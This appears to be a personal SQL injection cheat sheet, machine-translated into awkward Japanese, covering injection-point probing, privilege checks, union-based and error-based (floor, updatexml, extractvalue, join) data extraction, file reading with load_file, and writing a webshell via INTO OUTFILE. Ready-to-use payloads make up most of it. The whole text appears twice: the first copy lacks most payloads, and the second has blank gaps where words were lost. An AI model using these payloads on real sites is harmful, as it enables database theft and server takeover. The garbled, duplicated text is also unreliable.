SQLインジェクションの概要(一部、更新継続)
7695 ワード
SQL注入
夏休みは退屈で、学んだ知識を整理したいと思って、よくある知識点をまとめて、絶滅危惧の次の学習の基礎を築いて、これはシリーズの第1編です:SQLに注入します
1、SQL注入原理
SQL注入は、ユーザーを信用しすぎて、ユーザーの入力をフィルタリングしていないため、攻撃者は悪意のあるSqlクエリや追加文をアプリケーションの入力パラメータに挿入し、バックグラウンドのSqlサーバ上で解析実行し、攻撃を行うことができる.
2、SQL注入プロセス
1、注入点及び注入タイプを判断する:
粗い:一重引用符をコミット
論理型(デジタル型注入):and 1=1/and 1=2
論理型(文字型注入):'and'1'='1/'and'1'='2
論理型(探索型注入):%'and 1=1 and'%'='%/'and1=2 and'%'='%
2、簡単にデータベース情報を判断する:
大まか:
一重引用符'(サーバがエラーを報告した情報から判断)
追加;–(;は分離を表し、--はコメント、および–MSSQLデータベースはあり、ACCESSデータベースはありません)
論理型:
and user>0
and(select count(*)from msysobjects)>0......(ページエラーはaccessデータベース)
and(select count(*)from sysobjects)>0......(ページは通常MSSQLデータベース)
and db_name()>0......(爆データベース名)
and version>0(SQLServerバージョン情報およびサーバオペレーティングシステムのタイプとバージョン情報の爆発)
MSSQL権限の判断:
and 0<>(SelectISSRVROLEMBER(‘sysadmin’)–(ページが正常であればSA)
and 0<>(Select IS_MEMBER(‘db_owner’)–(ページが正常であればdb_owner)
and 0<>(SelectIS_MEMBER)-(ページは通常public)
注意:
以上の方法は,パラメータがint数値型の場合に適用する.
文字型の場合は、パラメータの後に一重引用符'を追加し、クエリ文の後に追加する必要があります.–検索型注入はこのように推定される.
MYSQL権限の判断:
and ord(mid(user(),1,1))=114/*(ページの通常の説明はroot)
3、データベース、データベース名、テーブル名、フィールド名、フィールド内容を推測する
(1)mysqlデータベース:
注入点は?id=1
判定フィールド数:
判定表示ビット:
クエリー・データベース(フィールド数が10、エコー・ビットが4の場合):
クエリー・テーブル:
クエリー列:
クエリーフィールドの内容:
mysql書き込みファイルの読み込み(webshell書き込み用)
-------------------------------------------------------------------
mysql3.x読み出し方法
mysql4.x読み出し方法
mysql5.x読み出し方法
------------------------------------------------------------
into outfileファイルを書く
union select 1,2,3,char(ここには10進または16進に変換した一言の木馬コードが書き込まれています)、5,6,7,8,9,10,7 into outfile'd:web90 team.php’/*
union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
(2)ACCESS注入
クイズテーブル名:
クイズフィールド:
ユーザー名とパスワードの長さを推測します.
次のようになります.
ユーザー名とパスワードを推測:
次のようになります.
注意:
4、その他の知識
スペース注入のフィルタ
スペースの代わりに/**/または()または+を使用します.
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.複数のデータ表示
concat()
group_concat()
concat_ws()
4.相関関数
system_user()システムユーザ名
user()ユーザー名
current_user現在のユーザー名
session_user()接続データベースのユーザー名
database()データベース名
バージョン()MYSQLデータベースバージョン
load_file()MYSQLローカルファイルを読み込む関数
@@datadirデータベースパスの読み込み
@@basedir MYSQLインストールパス
@@version_compile_OS OS Windows Server 2003
エラー注入:
floorエラー、ExtractValue、UpdateXml、joinエラー注入
この方法は注入時にビットを返さないのに適している.またmysqlエラープロンプトを返し、phpはエラープロンプトを返します.
原理:count関数などの集約関数の後ろにパケット文を使用すると、クエリの一部が誤った形式で表示されます.
一、floorエラー注入:
実は主に数式で、数式は4つの部分に分かれています.
1、論理エラー部分、すなわちGET変数の取値を論理エラー値、例えば.php?id=0または.php?id=12+and+1=2
2、固定SQL連合クエリー文、文:(コア)union select 1 from(select+count(*)、concat(floor(0)*2)、(爆発データ文を注入))a from information_schema.tables group by a)b
3、注釈文、文全体の後ろの部分を注釈して、"/*"の注釈記号を使うことができて、"-"終止符、あるいは%23のこの"#"の文字を使うことができます
4,注入爆発データ文,基本フォーマットはselect XX from YYのフォーマットである.
例:
1、現在のデータベース名を表示し、ユーザー、データベースバージョンとデータパスを登録する
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+con cat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+fro m+information_schema.tables+group+by+a)bすべてのデータベース名を取得
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(SELECT distinct concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e)+FROM+information_sch ema.SCHEMATA+LIMIT+0,1))a+from information_schema.tables+group+by+a)b
2、現在のデータベースの表を爆発させる
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_na me+from+information_schema.tables+where+table_schema=database()+limit+0, 1))a+from+information_schema.tables+group+by+a)b
3、爆発フィールド
union+select+1+from+(select+count(*)、concat(floor(rand(0)*2),(select+column_n ame+from+information_schema.columns+where+table_name=テーブル名+limit+0,1))a+from+information_schema.tables+group+by+a)b
4、爆内容
union+select+1+from+(select+count(*)、concat(floor(rand(0)*2),(select+concat(0 x 3 a,フィールド1,0 x 3 a,フィールド2)+from+テーブル名+limit+0,1))a+from+information_schema.tables+group+by+a)b
二、updatexmlエラー注入:
例:
updatexml(1,(concat(0x7e,(select database()),0x7e)),1)
三、ExtractValue
テスト文and extractvalue(1,concat(0 x 5 c,(selectpass from admin limit 1));
じっさいしけんてつづき
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));
– ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
解釈:extractvalue()関数には2つのパラメータがあり、実際の注入時に最初のパラメータを1に設定し、2番目のパラメータは爆発する必要があるデータである.爆発したデータの前に他の文字を接続しないと不完全に表示される可能性があります
四、join注入
同じテーブルを繰り返しクエリーする方法でデータを報告します.次は爆mysql.userテーブルが例爆フィールド名のプロセスです.
(1)最初の列名select*from(select*from mysql.user a join mysql.user b)cを爆発させる.
(2)2番目の列名を爆発させる(usingを使用する)select*from(select*from mysql.user a join mysql.user b using(Host))c;
(3)第3列名を爆発させる(またはusingを使用するか、パラメータは前の2列の列名である)select*from(select*from mysql.user a join mysql.user b using(Host,User))c;
夏休みは退屈で、学んだ知識を整理したいと思って、よくある知識点をまとめて、絶滅危惧の次の学習の基礎を築いて、これはシリーズの第1編です:SQLに注入します
1、SQL注入原理
SQL注入は、ユーザーを信用しすぎて、ユーザーの入力をフィルタリングしていないため、攻撃者は悪意のあるSqlクエリや追加文をアプリケーションの入力パラメータに挿入し、バックグラウンドのSqlサーバ上で解析実行し、攻撃を行うことができる.
2、SQL注入プロセス
1、注入点及び注入タイプを判断する:
粗い:一重引用符をコミット
論理型(デジタル型注入):and 1=1/and 1=2
論理型(文字型注入):'and'1'='1/'and'1'='2
論理型(探索型注入):%'and 1=1 and'%'='%/'and1=2 and'%'='%
2、簡単にデータベース情報を判断する:
大まか:
一重引用符'(サーバがエラーを報告した情報から判断)
追加;–(;は分離を表し、--はコメント、および–MSSQLデータベースはあり、ACCESSデータベースはありません)
論理型:
and user>0
and(select count(*)from msysobjects)>0......(ページエラーはaccessデータベース)
and(select count(*)from sysobjects)>0......(ページは通常MSSQLデータベース)
and db_name()>0......(爆データベース名)
and version>0(SQLServerバージョン情報およびサーバオペレーティングシステムのタイプとバージョン情報の爆発)
MSSQL権限の判断:
and 0<>(SelectISSRVROLEMBER(‘sysadmin’)–(ページが正常であればSA)
and 0<>(Select IS_MEMBER(‘db_owner’)–(ページが正常であればdb_owner)
and 0<>(SelectIS_MEMBER)-(ページは通常public)
注意:
以上の方法は,パラメータがint数値型の場合に適用する.
文字型の場合は、パラメータの後に一重引用符'を追加し、クエリ文の後に追加する必要があります.–検索型注入はこのように推定される.
MYSQL権限の判断:
and ord(mid(user(),1,1))=114/*(ページの通常の説明はroot)
3、データベース、データベース名、テーブル名、フィールド名、フィールド内容を推測する
(1)mysqlデータベース:
注入点は?id=1
判定フィールド数:
order by : ?id=1 order by x-- ( x 1~n, )
union : ?id =1 and 1=1 union select 1,2,3,4,5...
判定表示ビット:
?id=1 and 1=2 union select 1,2,3,4,5...
and 1=2 ?id=-1
クエリー・データベース(フィールド数が10、エコー・ビットが4の場合):
5.0 mysql information_schema mysql , information_schema 。
:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
:
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 1,2 。
:and 1=2 union select 1,2,3,group_concat(SCHEMA_NAME),5,6,7,8,9,10 from information_schema.SCHEMATA
クエリー・テーブル:
and 1=2 union select 1,2,3,group_concat(TABLE_NAME),5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=' '
クエリー列:
and 1=2 Union select 1,2,3,group_concat(COLUMN_NAME),5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=' '
クエリーフィールドの内容:
:
and 1=2 Union select 1,2,3, ,5,6,7, ,8,9 from limit 0,1
:
and 1=2 Union select 1,2,3,concat( ,0x3c, ),5,6,7,8,9 from limit 0,1
mysql書き込みファイルの読み込み(webshell書き込み用)
:
:file
:1. 2.union 3. ''
-------------------------------------------------------------------
mysql3.x読み出し方法
create table a(cmd text);
load data infile 'c:\xxx\xxx\xxx.txt' into table a;
select * from a;
mysql4.x読み出し方法
load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\ddd\ddd\ddd.txt'));
select * from a;
mysql5.x読み出し方法
:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
------------------------------------------------------------
into outfileファイルを書く
union select 1,2,3,char(ここには10進または16進に変換した一言の木馬コードが書き込まれています)、5,6,7,8,9,10,7 into outfile'd:web90 team.php’/*
union select 1,2,3,load_file(‘d:\web\logo123.jpg’),5,6,7,8,9,10,7 into outfile ‘d:\web\90team.php’/*
(2)ACCESS注入
クイズテーブル名:
and 0<>(select count(*) from ) and exists(Select * from )
クイズフィールド:
and exists(Select from )( , )
ユーザー名とパスワードの長さを推測します.
and(Select top 1 len( ) from )>N
(TOP ;N , N)
次のようになります.
and 1=(select count(*) from user where len(name)>6)
and 1=(select count(*) from user where len(name)>5)
user name 6。
ユーザー名とパスワードを推測:
and (select top 1 asc(mid( ,1,1)) from )>0
次のようになります.
and (select top 1 asc(mid(name,1,1)) from user)>96
and (select top 1 asc(mid(name,1,1)) from user)>97
user name ASCLL 97
注意:
MD5 16 、18 、32 、40 ,
15、16、17、18、31、32、39、40 。
4、その他の知識
スペース注入のフィルタ
スペースの代わりに/**/または()または+を使用します.
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.複数のデータ表示
concat()
group_concat()
concat_ws()
4.相関関数
system_user()システムユーザ名
user()ユーザー名
current_user現在のユーザー名
session_user()接続データベースのユーザー名
database()データベース名
バージョン()MYSQLデータベースバージョン
load_file()MYSQLローカルファイルを読み込む関数
@@datadirデータベースパスの読み込み
@@basedir MYSQLインストールパス
@@version_compile_OS OS Windows Server 2003
エラー注入:
floorエラー、ExtractValue、UpdateXml、joinエラー注入
この方法は注入時にビットを返さないのに適している.またmysqlエラープロンプトを返し、phpはエラープロンプトを返します.
原理:count関数などの集約関数の後ろにパケット文を使用すると、クエリの一部が誤った形式で表示されます.
一、floorエラー注入:
実は主に数式で、数式は4つの部分に分かれています.
1、論理エラー部分、すなわちGET変数の取値を論理エラー値、例えば.php?id=0または.php?id=12+and+1=2
2、固定SQL連合クエリー文、文:(コア)union select 1 from(select+count(*)、concat(floor(0)*2)、(爆発データ文を注入))a from information_schema.tables group by a)b
3、注釈文、文全体の後ろの部分を注釈して、"/*"の注釈記号を使うことができて、"-"終止符、あるいは%23のこの"#"の文字を使うことができます
4,注入爆発データ文,基本フォーマットはselect XX from YYのフォーマットである.
例:
1、現在のデータベース名を表示し、ユーザー、データベースバージョンとデータパスを登録する
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+con cat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a+fro m+information_schema.tables+group+by+a)bすべてのデータベース名を取得
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(SELECT distinct concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e)+FROM+information_sch ema.SCHEMATA+LIMIT+0,1))a+from information_schema.tables+group+by+a)b
2、現在のデータベースの表を爆発させる
union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_na me+from+information_schema.tables+where+table_schema=database()+limit+0, 1))a+from+information_schema.tables+group+by+a)b
3、爆発フィールド
union+select+1+from+(select+count(*)、concat(floor(rand(0)*2),(select+column_n ame+from+information_schema.columns+where+table_name=テーブル名+limit+0,1))a+from+information_schema.tables+group+by+a)b
4、爆内容
union+select+1+from+(select+count(*)、concat(floor(rand(0)*2),(select+concat(0 x 3 a,フィールド1,0 x 3 a,フィールド2)+from+テーブル名+limit+0,1))a+from+information_schema.tables+group+by+a)b
二、updatexmlエラー注入:
例:
updatexml(1,(concat(0x7e,(select database()),0x7e)),1)
三、ExtractValue
テスト文and extractvalue(1,concat(0 x 5 c,(selectpass from admin limit 1));
じっさいしけんてつづき
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c, (select pass from admin limit 1)));
– ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
解釈:extractvalue()関数には2つのパラメータがあり、実際の注入時に最初のパラメータを1に設定し、2番目のパラメータは爆発する必要があるデータである.爆発したデータの前に他の文字を接続しないと不完全に表示される可能性があります
四、join注入
同じテーブルを繰り返しクエリーする方法でデータを報告します.次は爆mysql.userテーブルが例爆フィールド名のプロセスです.
(1)最初の列名select*from(select*from mysql.user a join mysql.user b)cを爆発させる.
(2)2番目の列名を爆発させる(usingを使用する)select*from(select*from mysql.user a join mysql.user b using(Host))c;
(3)第3列名を爆発させる(またはusingを使用するか、パラメータは前の2列の列名である)select*from(select*from mysql.user a join mysql.user b using(Host,User))c;